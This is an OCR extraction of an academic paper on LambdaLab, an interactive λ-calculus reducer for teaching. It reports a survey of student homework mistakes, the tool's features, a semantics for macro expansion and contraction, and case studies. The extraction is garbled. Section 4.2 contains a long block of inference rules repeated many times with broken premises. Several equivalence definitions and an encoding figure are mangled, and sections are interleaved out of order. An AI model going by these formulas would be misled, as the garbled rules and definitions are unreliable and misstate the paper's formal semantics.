"google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 30067, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 30067, null]], "pdf_page_numbers": [[0, 284, 1], [284, 441, 2], [441, 715, 3], [715, 799, 4], [799, 850, 5], [850, 1355, 6], [1355, 1568, 7], [1568, 1780, 8], [1780, 2624, 9], [2624, 3161, 10], [3161, 3264, 11], [3264, 3439, 12], [3439, 3706, 13], [3706, 4036, 14], [4036, 4499, 15], [4499, 4609, 16], [4609, 4782, 17], [4782, 5092, 18], [5092, 5625, 19], [5625, 5784, 20], [5784, 6026, 21], [6026, 6532, 22], [6532, 7244, 23], [7244, 7717, 24], [7717, 8325, 25], [8325, 8868, 26], [8868, 9323, 27], [9323, 9646, 28], [9646, 10113, 29], [10113, 10694, 30], [10694, 11213, 31], [11213, 11352, 32], [11352, 11494, 33], [11494, 11761, 34], [11761, 12113, 35], [12113, 12577, 36], [12577, 13609, 37], [13609, 14138, 38], [14138, 15020, 39], [15020, 15385, 40], [15385, 15630, 41], [15630, 16050, 42], [16050, 16610, 43], [16610, 17297, 44], [17297, 17382, 45], [17382, 18983, 46], [18983, 19241, 47], [19241, 19584, 48], [19584, 19781, 49], [19781, 20139, 50], [20139, 20798, 51], [20798, 21244, 52], [21244, 21716, 53], [21716, 22083, 54], [22083, 22280, 55], [22280, 23040, 56], [23040, 23286, 57], [23286, 23640, 58], [23640, 23978, 59], [23978, 24416, 60], [24416, 24743, 61], [24743, 24882, 62], [24882, 24986, 63], [24986, 25329, 64], [25329, 25614, 65], [25614, 25728, 66], [25728, 25897, 67], [25897, 26217, 68], [26217, 26345, 69], [26345, 26639, 70], [26639, 27826, 71], [27826, 28194, 72], [28194, 28435, 73], [28435, 29089, 74], [29089, 29801, 75], [29801, 30067, 76]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 30067, 0.07934]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
5e1da45f0eed1ff0f2316d650ad88fecc55b35a8
|
LambdaLab: An Interactive $\lambda$-Calculus Reducer for Learning
Daniel Sainati
Cornell University
dhs253@cornell.edu
Adrian Sampson
Cornell University
asampson@cs.cornell.edu
Abstract
In advanced programming languages curricula, the $\lambda$-calculus often serves as the foundation for teaching the formal concepts of language syntax and semantics. LambdaLab is an interactive tool that helps students practice $\lambda$-calculus reduction and build intuition for its behavior. To motivate the tool, we survey student answers to $\lambda$-calculus assignments in three previous classes and sort mistakes into six categories. LambdaLab addresses many of these problems by replicating the experience of working through $\beta$-reduction examples with an instructor. It uses visualizations to convey AST structure and reducible expressions, interactive reduction to support self-guided practice, configurable reduction strategies, and support for encodings via a simple macro system. To mimic informal, in-class treatment of macros, we develop a new semantics that describes when to expand and contract them. We use case studies to describe how LambdaLab can fit into student workflows and address real mistakes.
1 Introduction and Motivation
The $\lambda$-calculus [3] is the first topic on the syllabus for many theoretical programming languages courses. Its simple structure provides a substrate for learning about formal grammars and operational semantics, and its universality illustrates the relationship between formalized core calculi and real-world programming languages. By learning the $\lambda$-calculus, students build intuition that will undergird all the remaining topics in a curriculum on formal semantics.
For the uninitiated, however, the $\lambda$-calculus is a tall hurdle. Students need to simultaneously master substitution-based evaluation, higher-order programming, and encodings, all while dealing with an unfamiliar syntax. Even students who understand the basic evaluation rules can fail to apply them to larger programs when they lack the underlying intuition. When new students work with the $\lambda$-calculus on paper, they face a minefield of potential formal mistakes that are difficult to disentangle from each other. An incorrect encoding for an arithmetic function, for example, may stem from a logic error, a substitution mistake, incorrect parenthesization, or incorrect application of the reduction rules—and the root cause can be difficult to diagnose.
This paper posits that part of the difficulty arises from the limited bandwidth for practice that manual $\lambda$-calculus reduction affords. While we can work through one example at a time in class, and students can theoretically write out evaluations alone for practice, the long latency means that students, in practice, see only a few completely worked examples. We advocate for integrating automated reduction into the theoretical PL curriculum to increase the rate at which students can try out examples, observe reduction results, and critique their own work. In our experience, this approach helps students avoid getting bogged down in low-level mechanical mistakes while helping them develop the intuition they need to understand more advanced topics that build on understanding of the $\lambda$-calculus. The opportunity for increased practice and improved intuition outweighs the risk of overreliance on automation: in the same way that graphing calculators can aid learning in math classes, reduction tools can help students be more ambitious in their learning of programming language formalisms.
This paper has two main components: an empirical investigation into the kinds of mistakes students make when learning the $\lambda$-calculus, and the design of an interactive tool that can help address these mistakes.
The investigation studies homework problems from two courses, an undergraduate elective and a PhD class, that teach the $\lambda$-calculus early in a curriculum about formal language semantics (Section 2). We find that a majority of errors stem from mechanical problems that represent misunderstandings of a variety of aspects of the $\lambda$-calculus. Access to automated reduction would help dispel most of these misunderstandings, as students would be provided with immediate feedback on the correctness of their reductions, preventing misunderstandings from compounding and reinforcing themselves due to repetition.
We develop a new interactive $\lambda$-calculus evaluator tool, called LambdaLab, that addresses these pitfalls (Section 3). Crucially, we find that a simple $\lambda$-calculus interpreter would not suffice to bring clarity to several of the misunderstandings, so we build LambdaLab with features that bring it closer to simulating the experience of working out examples on the whiteboard with the instructor. We use visualizations to help clarify the relationship between the linear token strings we write out and the ASTs we use for reduction. We emphasize the differences between different evaluation orders by visually indicating the "active redex" throughout a reduction sequence. Most significantly, we allow macros that make examples more intelligible, especially ones that focus on Church encodings. We develop a new operational semantics that describes when to expand macro definitions for each of
We collected anonymized homework submissions from two courses: CS 6110 in 2017 and a graduate advanced undergraduate elective (CS 4110). Both courses focus on formal semantics and introduce the λ-calculus. Our goal is to understand how well automating reduction might address the mistakes that students actually make.
Lambdalab is open source and available online. Our initial experience suggests that it is ready for integration into any curriculum that relies on the λ-calculus.
2 Measuring λ-Calculus Mistakes
We conducted an empirical investigation to study the kinds of difficulties that students encounter when learning the λ-calculus. Our goal is to understand how well automating reduction might address the mistakes that students actually make. We focus on three research questions:
1. What are the most common kinds of mistakes students make when learning the λ-calculus?
2. What proportion of these mistakes fall into categories that automating reduction can address?
3. How might a student use an automated reduction tool to identify and correct problems in their understanding of the λ-calculus?
To answer these questions, we analyze real, anonymized homework solutions from two previous PL courses. We describe our methodology for the empirical investigation, the categories of misunderstandings we found, and our conclusions regarding the utility of an interactive reduction tool.
2.1 Setup
We collected anonymized homework submissions from two programming languages courses at Cornell University: an advanced undergraduate elective (CS 4110) and a graduate course taken by most PhD students (CS 6110). Both courses focus on formal semantics and introduce the λ-calculus early in the semester.
We selected homework problems focusing on the λ-calculus from the 2016 offering of CS 4110 and from the 2017 and 2018 offerings of CS 6110. CS 4110 in 2016 consisted of 60 groups of 1–2 students, mostly undergraduates with a few masters students, while CS 6110 in both 2017 and 2018 consisted of 33 groups, mostly PhD students with some undergraduate and masters students. We omitted one illegible submission (from CS 6110 in 2017).
The problems asked questions designed to assess understanding of the λ-calculus and adjacent topics:
• Provide a translation from the call-by-value λ-calculus to call-by-name evaluation (CS 4110).
• Encode operations on Church numerals and lists (CS 4110).
• Show the reduction steps for a term under call-by-value and call-by-name evaluation (CS 6110).
• Provide examples demonstrating the importance of various side conditions in the definition of capture-avoiding substitution (CS 6110).
• Write operational semantics for full, nondeterministic β-reduction (CS 6110).
• Encode some numerical operations (CS 6110).
• Write curry and uncurry functions (CS 6110, 2017 only).
• Encode rational-number operations (CS 6110, 2018 only).
2.2 Problem Categories
We group mistakes in each solution into categories according to the conceptual misunderstanding they exhibit. This section details each conceptual category. We also categorize some mistakes as task comprehension errors, which are based on misunderstandings of the assignment.
We use the simplest explanation for a given error. For example, in one problem where students are asked to encode a function to check if a Church numeral is zero, a correct answer is:
\[
\text{ISZERO} \equiv \lambda n. \ n ~ (\lambda x. \text{FALSE}) \text{ TRUE}
\]
And one incorrect answer is:
\[
\text{ISZERO} \equiv \lambda n. \ n ~ \lambda x. \text{FALSE} \text{ TRUE}
\]
We code this mistake as Placement of Parentheses rather than Encodings and Data Structures because the answer would have been correct with a different parentheses placement.
We identify six conceptual problem categories.
Capture-Avoiding Substitution Substitution mistakes manifest as incorrect terms after a β-reduction step. These problems arise when students make mistakes applying the formal definition of capture-avoiding substitution during reduction. The underlying issue often seems to be missing intuition for the meaning-preserving property of substitution, which makes mechanical application of the rules difficult in complex terms.
Identifying Reducible Expressions An early pitfall is identifying the reducible expression, or redex, in a term that dictates the next β-reduction step. As terms get longer and more complex, locating the active redex can become difficult, especially if variable name shadowing is involved. As a simple example, consider the term \( x ~ (\lambda y. \ y) \). This term is a normal form: no more reductions can be applied. This is not always immediately evident, however; a student unfamiliar with the λ-calculus may interpret \( x \) as the argument to the abstraction \( (\lambda y. \ y) \) and obtain \( x \) as the result. In the one mistake we observed in this category, a student evaluated a more complicated term incorrectly by similarly misidentifying reducible expressions.
**Order of Evaluation** When a student correctly identifies the redexes in a term, another difficulty arises in choosing which one to reduce next. The correct choice depends on the order of evaluation. Locating the “active” redex in this term, for example:
\[(\lambda x. \lambda y. y) \((\lambda x. x \ x) \ (\lambda x. \ x \ x))\]
is key to understanding the difference between call-by-name and call-by-value reduction—the evaluation order determines whether the term converges. There were two main patterns in this category: (1) encodings that work under a different evaluation strategy from the one requested, and (2) reduction sequences that picked valid redexes in the wrong order.
**Placement of Parentheses** When we write \(\lambda\)-terms in class, we use a linear sequence of symbols to depict an abstract syntax tree (AST). Parentheses and standard implicit parentheses rules disambiguate the mapping from symbol strings to ASTs. This difference between linear and tree-structured representations can impede deeper understanding of the \(\lambda\)-calculus. Consider these three terms:
\[(\lambda x. x) \ (\lambda y. y) \quad \lambda x. x \ y \quad \lambda x. (x \ (\lambda y. y))\]
The latter two strings represent the same term, but the former is different and reduces differently. Because the evaluation rules say nothing about parentheses, we expect students to mentally translate between ASTs and string representations to apply the rules.
This category contains answers that would have been correct had the parentheses been placed differently. Parentheses mistakes appear both in final answers and in intermediate steps leading to an incorrect solution.
**Encodings and Data Structures** In the courses we studied, students exercise their knowledge of the \(\lambda\)-calculus by learning how to encode higher-level constructs as \(\lambda\)-terms. Homework problems include functions involving Church’s encodings for Booleans and natural numbers or simple data structures like lists and binary trees. These questions amount to programming exercises that test students’ intuition for the meaning of \(\lambda\)-calculus terms in class or office hours. LambdaLab starts with a simple \(\beta\)-reducer for \(\lambda\)-terms and augments it with visual feedback features that imitate the ways instructors and TAs explain the examples. We focus on these advantages of in-class reduction examples:
**Indicating redexes (§3.1).** Instructors can point out redexes in each expression, identify which one is the next to reduce, and indicate occurrences of the variable to be substituted. This extra information can help address mistakes in the Identifying Reducible Expressions category. It can also help with Capture-Avoiding Substitution mistakes that relate to identifying the right variable and term to use in substitution.
**Visualizing AST structure (§3.1).** Working on the whiteboard helps students visualize the structure of terms, since instructors can group different parts of terms together when demonstrating reduction sequences. This information can help students avoid Placement of Parentheses problems.
**Propose-and-verify interaction (§3.2).** In-class examples are interactive: instructors can ask students to give the next step before providing the correct answer.
---
**2.3 Results**
Table 1 lists the number of mistakes in each category from each course’s answers. In total, 66% of assignments exhibited at least one problem, excluding task comprehension issues. The most common categories are Producing Encodings (which appears at least once in 33% of assignments) and Formal Semantics (23%). Identifying Reducible Expressions was the least common category and only appeared once.
The pervasiveness of these sorts of conceptual misunderstandings in student answers indicates the potential that automated reduction can have to increase student understanding. It is difficult to attribute all of these mechanical mistakes to a simple lack of attention to detail. We posit that students are not getting enough practice with worked examples to develop the low-level mechanical skills necessary to focus on higher-level concepts. By exposing students to more worked examples and allowing them to try their own during the homework process, we can address these misunderstandings before they have the chance to reinforce themselves through repeated incorrect work.
---
**3 LambdaLab**
In light of the potential of automated reduction we present LambdaLab, an interactive \(\lambda\)-calculus programming environment designed to help students develop intuition. The primary design goal for LambdaLab is to replicate the experience of running through worked examples on the whiteboard in class or office hours. LambdaLab starts with a simple \(\beta\)-reducer for \(\lambda\)-terms and augments it with visual feedback features that imitate the ways instructors and TAs explain the examples. We focus on these advantages of in-class reduction examples:
---
**Formal Semantics** The homework problems we studied include questions about operational and translational semantics for the \(\lambda\)-calculus. These questions can be challenging even for students who have developed a strong intuition for the \(\lambda\)-calculus. The problems we observed involved incorrectly creating or formalizing semantics for a language feature or evaluation strategy for the \(\lambda\)-calculus. They occurred exclusively in the homework problems which tasked students with producing such formal rules.
Multiple evaluation strategies (§3.3). Instructors will often give worked examples using a variety of evaluation strategies to help elucidate the differences between them and to address the Order of Evaluation category of problems.
Preserving encodings (§3.4). In-class examples often use "whiteboard macros," either to illustrate the concept of encodings or just to keep terms small and understandable. An instructor might preserve a human-readable name like `IF`, for example, through multiple reduction steps without expanding it to its definition. Or an example might show how evaluating `NOT FALSE` results in the term `TRUE`. Strategically expanding and contracting these macro definitions can help with problems in the Encodings and Data Structures category.
We developed LambdaLab with features that mimic these advantages in an online, student-guided setting. The rest of this section describes each of these features.
3.1 Visualizing Trees and Reduction
LambdaLab uses two visualization strategies to convey contextual information about terms and reductions to help students mentally connect linear strings and syntax trees. The first is a coloring scheme that indicates which parts of the term form the currently "active" redex, i.e., the next one to reduce. The coloring highlights two parts of the redex: the abstracted-over variable and its bound occurrences (blue), the expression to be substituted (red). Figure 1a shows an example reduction with this highlighting applied. The colors help students follow each reduction step by identifying which term will be substituted for which variable.
The second visualization strategy draws entire ASTs for terms in a reduction sequence using the same coloring scheme. LambdaLab can draw any pair of terms that form a $\beta$-reduction step. A student clicks on a reduction step to visualize it. Figure 1b shows an example. LambdaLab draws the pre-reduction term to the left of the post-reduction term. It adds a red box around the expression to be substituted and draws a blue arrow pointing to the variable occurrences to be substituted. The post-reduction term keeps the substituted expression boxed in red to emphasize that it has "moved" to the new locations in the term.
Together, these two visualization features recreate the effect of an instructor walking through the process of a $\beta$-reduction pointing out the active redex and the parts of the term that are involved in the reduction and strategically drawing ASTs to resolve parsing ambiguities.
3.2 Interactive Mode
In the default mode, when a user types a term into the input box, LambdaLab immediately displays the entire reduction sequence (up to a timeout). This eager evaluation, however, can "spoil" the answers to questions about $\beta$-reduction. During an interactive demonstration, an instructor can ask for suggestions for the term that results from reduction and give feedback about its correctness. To replicate this instructional strategy, LambdaLab has an interactive mode where the student proposes potential reduction results.
Figure 2 depicts the interactive mode. The user types a proposed result term, and LambdaLab checks whether an $\alpha$-equivalent term exists anywhere in the reduction sequence for the original input term. That is, students need not type the next step in the reduction sequence—they may "jump ahead" to any point in the reduction. LambdaLab fills in the gap with the subsequence of terms up to the point of the correct term. The user can continue iterating through the reduction sequence by typing new, further-reduced terms. Through this process, the student collaborates with LambdaLab to advance through the complete reduction sequence until no more steps remain.
If the student ever enters a term that does not exist in the reduction sequence, LambdaLab rejects the term and does not fill any steps. We view this rejection as an important avenue for future work: a future version of LambdaLab should automatically generate feedback to indicate what went wrong and to help guide the student toward a correct term.
3.3 Evaluation Strategies
LambdaLab can switch its evaluator between four common reduction strategies: Call-By-Name, Call-By-Value, Normal Order, and Applicative Order. Students can switch between the four strategies at any time, and evaluation steps for the entered term will be displayed immediately. This allows students to quickly compare and contrast the result of evaluating a term under the different strategies.
3.4 Encoding Expansion and Contraction
Many realistic examples of \(\lambda\)-calculus evaluation involve an informal notion of macros, which are words we write to stand in for longer terms. During a demonstration of the Church encodings for Booleans, for example, we might write AND FALSE TRUE and reduction steps eventually leading to FALSE. Students need to understand that words like AND and TRUE are not actually part of the \(\lambda\)-calculus syntax and are not visible to its semantics rules: they are an informal construct that saves time and space, but they are only formally meaningful once they are desugared into plain \(\lambda\)-terms. An important challenge in designing LambdaLab is automating the way that instructors informally treat these macros to make examples more intelligible.
Users enter macro definitions separately from terms to be evaluated. Figure 3 depicts the term and macro-definition entry views in LambdaLab. In this example, the user has already provided definitions for SUCC, the successor function on Church numerals, and the number ONE; they can use these encodings to define the new macro TWO. (Macros must use all-capital names to distinguish themselves from variables.) LambdaLab detects cycles in macro definitions to prevent macros that (directly or indirectly) reference themselves. It issues an error that helps motivate the need for fixed-point combinators in \(\lambda\)-calculus programming.
LambdaLab preserves macro names through reduction when possible, but it selectively eliminates macro names when substitution occurs “inside” the expanded term. In Figure 3, each line is either a plain \(\beta\)-reduction step, marked with \(\rightarrow\), or an equality, marked with \(\vDash\), in which a single macro is substituted. Crucially, LambdaLab both expands and contracts macros, eliminating longer terms and substituting them for short names. The last line of the top reduction, for example, is an equality step showing a term being rewritten to TWO. Macro contraction is important for emphasizing when the results of an encoded computation are correct. In interactive mode (Section 3.2), users may enter terms with macros either expanded or contracted—LambdaLab considers them equivalent.
LambdaLab’s macro support raises questions about term equivalence and when to expand and contract macros, which we address in the next section.
4 $\lambda$-Calculus with Macros
The behavior of macros in LambdaLab is surprisingly subtle. We needed to resolve a variety of questions about when macros expand and contract during reduction and how to stay agnostic to the chosen evaluation order. These questions do not arise in the informal setting of an in-class worked example, but they are critical to automating a process that closely resembles the that informal behavior. This section describes our formalization that answers these questions.
We describe a formal language, the $\lambda$-Calculus with Macros, that extends the $\lambda$-calculus with explicit macro terms. We design its semantics to match the intuition behind in-class reductions as closely as possible—while acknowledging that it may be impossible to exactly replicate the nondeterministic choices instructors make. In this language, terms can take both ordinary $\beta$-reduction steps and also equality steps, wherein the term expands or contracts macro definitions to produce an equivalent term. We build on two core design principles:
1. Macros should be expanded as late as possible without obscuring the $\beta$-reduction steps that involve them.
2. Reduction should be unaffected by macros. A term containing macro references should take the same $\beta$-reduction steps as one where the names are replaced with their equivalent terms.
For example, consider this term with macro references:
\[(\lambda x. x \Omega) \text{FALSE}\]
where FALSE is an encoding for $\lambda x. \lambda y. y$ and $\Omega$ is the standard paradoxical combinator. Under call-by-name evaluation, this term converges in two reduction steps:
\[(\lambda x. x \Omega) \text{FALSE} \rightarrow \text{FALSE} \Omega \rightarrow (\lambda x. \lambda y. y) \Omega \rightarrow \lambda y. y\]
wherein the third line shows a macro expansion to reveal the next redex in CBN order.
Under call-by-value evaluation, this term diverges. A naïve application of our first principle, however, would only expand the left-hand side of applications and leave $\Omega$ in FALSE $\Omega$ unexpanded—yielding the same answer as the CBN semantics. To adhere to the second principle, CBV and CBN need different macro expansion rules.
Other reduction orders, including normal and applicative order, similarly require special rules about when to expand macros, although for different reasons. These two strategies must deal with the open terms that occur inside of abstractions, in which free variables can appear on the left-hand sides of applications, while CBV and CBN need not consider anything inside an abstraction until it is applied. In this sense, the point at which macro expansion becomes “necessary” differs from the two simpler strategies.
4.1 Syntax and Semantics
This section develops the semantics for the $\lambda$-Calculus with Macros for each evaluation order. We use a syntax that extends the $\lambda$-calculus with one new form:
\[e ::= x | \lambda x. e | e_1 e_2 | M\]
where $M$ is a metavariable ranging over a countable set of macro names. We will also use the metavariable $\sigma$ to denote mappings from macro names to expressions, which hold the current macro definitions.
We define a reduction judgment $\sigma \vdash e_1 \rightarrow e_2$ for each evaluation order, where $\rightarrow \in \{\rightarrow, =\}$. The symbol above the arrow distinguishes standard $\beta$-reduction steps ($\rightarrow$) from our equality steps ($\rightarrow\sigma$). In an equality step $\sigma \vdash e_1 \rightarrow e_2$, the terms $e_1$ and $e_2$ are equivalent modulo macro expansion from $\sigma$.
Figure 4 lists the rules for each evaluation order. The rules for reduction steps ($\rightarrow$) reflect traditional small-step rules for the $\lambda$-calculus, but the equality-step rules ($\rightarrow\sigma$) are new. The simplest rule appears in the call-by-name semantics (Figure 4a): it expands any macro that appears on the left-hand side of an application. In CBN, macros on the right-hand side never expand. The other three orders require a notion of fully-evaluated terms (i.e., values) to control expansion. In normal and applicative order, we define metavariables $v$ and $w$ encompassing terms that cannot step. Each $w$ term begins with a free variable, and a value $v$ consists of abstractions wrapping such a $w$ term. In these orders, macros may expand on the right-hand side of applications when the left-hand side is such a $w$.
We include premises to avoid needlessly expanding macros that cannot reduce. For example, the final rule in the call-by-value semantics (Figure 4d) requires that $\sigma[M]$ can take a reduction step. This rule helps distinguish between cases like our above example, FALSE $\Omega$, and ones where the right-hand side is a value, as in NOT TRUE. The former term should expand its right-hand macro to ensure correct evaluation, while the latter should expand its left-hand macro to preserve the term’s simplicity. The equality rule “peeks” inside macro definition on the right-hand side of an application to check whether expanding it allows a step.
Each semantics includes “propagation” rules that let steps occur in nested subexpressions (e.g., the first call-by-name rule in Figure 4a). These rules use the metavariable $\square$ to range over step types, so both equality and reduction steps can propagate in the same way.
4.2 Macro Equivalence and Contraction
Realistic $\lambda$-calculus examples also contract macro definitions. A reduction sequence for SUCC ONE as in Figure 3, for
example, should eventually end in TWO if its definition is available. LambdaLab needs to decide when to contract a subterm to rewrite it as a macro name.
A naïve strategy would contract any subterm that is observationally equivalent to a macro definition. In addition to being undecidable, however, observational equivalence fails to distinguish between any two diverging terms. If OMEGA is defined as \((\lambda x. \ x \ x) \ (\lambda x. \ x \ x)\), for example, it would be confusing for LambdaLab to unconditionally rewrite any diverging term as OMEGA.
To address the latter problem, we consider an idealized (but still undecidable) equivalence relation \(\equiv\), that distinguishes between terms that "diverge differently":
\[
\sigma \vdash e_1 \equiv e_2 \iff \exists e', e_1 \rightarrow^* \rho e' \land e_2 \rightarrow^* \rho' e'
\]
Terms equivalent under \(\equiv\) are also observationally equivalent, but the converse does not hold. The rest of this section develops decidable approximations of \(\equiv\).
**Macro expansion.** We first formalize a simple translation for syntactically expanding all macros in a term:
\[
\sigma \vdash e_1 \equiv e_2 \iff e \rightarrow^\ast e' \quad \sigma \vdash (\lambda e_2) e \rightarrow e' e
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda x. e \rightarrow \lambda x. e'
\]
\[
\sigma \vdash \lambda x. e \rightarrow \lambda x. e' \quad \sigma \vdash w e \rightarrow w e'
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e' \quad \sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e' \quad \sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e'
\]
\[
\sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e' \quad \sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e'
\]
\[
\sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e' \quad \sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e'
\]
\[
\sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e' \quad \sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash \lambda x. \ e \rightarrow e'
\]
\[
\sigma \vdash w \ M \rightarrow w \sigma[M]
\]
\[
\sigma \vdash e \rightarrow e' \quad \sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
\[
\sigma \vdash \lambda M e \rightarrow \sigma[M] e
\]
**Normal-order equivalence.** We define two terms to be equivalent if their results under normal-order reduction are \(\alpha\)-equivalent:
\[
\sigma \vdash e_1 \equiv \text{norm} e_2 \iff \sigma[e_1] \downarrow \text{norm} v_1 \land \sigma[e_2] \downarrow \text{norm} v_2
\]
\[
\land v_1 =_\alpha v_2
\]
Normal-order reduction is guaranteed to find a normal form for a term if one exists, so $\equiv_{\text{norm}}$ suffices for terms that converge. Divergent terms are never considered equivalent, even to themselves, so LambdaLab does not collapse them.
**Order-specific equivalence.** The choice of evaluation order, however, can influence the appropriate definition of equivalence. Specifically, two terms may evaluate under a given order to the same term even if they do not have a normal form. Recursive functions defined using fixed-point combinators, for example, can have no normal form even when they quickly evaluate to CBV or CBN values. We can define a family of relations $\equiv_s$, where $s$ is the strategy in question:
$$\sigma \vdash e_1 \equiv_s e_2 \iff \sigma \vdash e_1 \equiv_{\text{norm}} e_2$$
These relations consider terms equivalent if they have a common normal form or converge to an order-specific common value. This additional flexibility finds some equivalent terms that happen to produce different values under a given evaluation order. Consider, for example, $\lambda f. \lambda x. f$ (ONE $f$ $x$) and $\lambda f. \lambda x. f$ (f $x$), which reduce differently under CBV but the same way under normal order, and are both equivalent to TWO.
Furthermore, equivalence under any $\equiv_s$ implies $\equiv_s$. LambdaLab implements each $\equiv_s$ as a reasonably reliable approximation of $\equiv_s$ to decide when to replace subterms with macro names. To ensure that it collapses the largest possible subterms, the contraction algorithm walks ASTs in breadth-first order and tests each for $\equiv_s$-equivalence with each macro. When it finds the first (largest) equivalence, LambdaLab inserts an equality step that contracts the macro.
### 5 Evaluation and Case Studies
This feature set helps LambdaLab address the underlying misunderstandings for five of the problem types we observed during our empirical investigation (Section 2.2): Capture-Avoiding Substitution, Identifying Reducible Expressions, Order of Evaluation, Encodings and Data Structures, and Placement of Parentheses. Out of the 125 assignment submissions we studied, 73 (58%) exhibit at least one of these five problems (see Table 1). When we exclude the assignments with only Task Comprehension problems (or no problems), 89% of the remaining submissions include at least one problem category that LambdaLab addresses. While we find that LambdaLab targets the right problem categories for many students, we also see the prevalent Formal Semantics category as an avenue for future work.
To investigate LambdaLab’s potential in more detail, this section uses case studies that examine specific homework answers. We describe concrete ways that the student might use LambdaLab to identify and rectify inaccuracies in their understanding.
There are many other ways to encode the natural numbers into the $\lambda$-calculus besides the Church encoding we saw in lecture. Here is one:
$$0 \triangleq \lambda f. x$$
$$1 \triangleq \lambda f. x \ f \ 0x$$
$$2 \triangleq \lambda f. x \ f \ (f \ 0x)$$
$$3 \triangleq \lambda f. x \ f \ (f \ (f \ 0x))$$
These exercises ask you to encode functions on these numbers.
(a) Write a function succ that takes the representation of a number using this technique, i.e., $\bar{n}$ for any natural number $n$, and computes its successor, i.e., $\bar{n} + 1$.
(b) Write a function pred that takes $\bar{n}$ and computes its predecessor, $\bar{n} - 1$. Your function should map $0$ to $\bar{0}$.
*Figure 5. A question on encoding natural numbers.*
Consider the closed $\beta$-term $(\lambda x. \lambda y. \,x \ y)((\lambda x. \lambda z. \,x \ z)(\lambda y. \,y))$.
(a) Fully reduce the term using call-by-value (CBV) evaluation. Show each step in the $\beta$-reduction.
(b) Fully reduce the term in call-by-name (CBV) order, again showing each step.
*Figure 6. A question on evaluation strategies.*
**Debugging Encodings** Figure 5 shows a CS 6110 problem that asks students to encode a predecessor function using a non-standard encoding of the natural numbers. A simple correct answer is:
$$\text{PRED} \triangleq \lambda n. n \ (\lambda x. \lambda y. \ x) \ 0$$
One student gave this incorrect answer:
$$\text{PRED} \triangleq \lambda n. n \ (\lambda x. \lambda y. \ x) \ (\lambda x. \ x)$$
which is correct for all inputs except zero, where it produces the identity function instead of zero. This is the kind of simple mistake that an automated reducer can help catch. With access to LambdaLab, students can enter their encoding for PRED and a few example numbers and evaluate several test inputs such as PRED ONE and PRED ZERO to check the result. LambdaLab’s macro contraction serves as a verifier: the last line in the reduction for PRED ZERO should be rewritten to ZERO. This incorrect solution would instead reduce to ID, a built-in macro for the identity function. The student could then inspect the reduction sequence to find where it went wrong and try a new value for PRED.
This process mimics the way that programmers use test cases to identify and correct issues in their code in real-world programming languages. One potential criticism is that this debugging process lets students brute-force solutions by blindly searching for a term that works. This approach, however, is already possible—although more tedious—with manual reduction. LambdaLab’s automation avoids focusing penalties on mechanical mistakes instead of conceptual encoding errors.
Define expressions for each of these list constructs:
- NIL, the empty list;
- CONS, a function that adds an element to the head of a list and returns a new list;
- HD, a function that gets the head element in a list;
- TL, a function that gets the tail of a list (i.e., the input list without its head element); and
- IS_NIL, a function that checks whether a list is empty (and returns a Church boolean).
To keep things simple, applying either HD or TL to NIL should produce NIL. Also, if you find it helpful, you may use the encodings of Booleans and pairs discussed in class.
**Figure 7.** A homework problem on encoding lists.
**Comparing Evaluation Strategies** Figure 6 shows a problem that asks students to evaluate the same term under both call-by-value and call-by-name reduction. The call-by-value result is:
\[ \lambda y. (\lambda z. (\lambda y. y) z) y \]
and the call-by-name result is:
\[ \lambda y. ((\lambda x. \lambda z. x z) (\lambda y. y)) y \]
A common mistake in our data set is to reduce both the same way. This mistake indicates a lack of understanding of the difference between the two evaluation strategies. Using LambdaLab, students can enter a term and switch between CBV and CBN evaluation to see exactly where they differ. If they are confused about how a particular reduction step worked, they can click on it to show a tree view that highlights the active terms in that redex. They can also modify the term to immediately see the effects on the evaluation sequence.
This capability of LambdaLab also highlights a problem in the homework question itself. Mechanical reduction problems are unlikely to teach students anything beyond the mechanical application of semantics rules. The problem might be improved by making it more conceptual: it could ask students to explain the root causes of the different results and to point out which parts of the semantic rules give rise to the differing behavior.
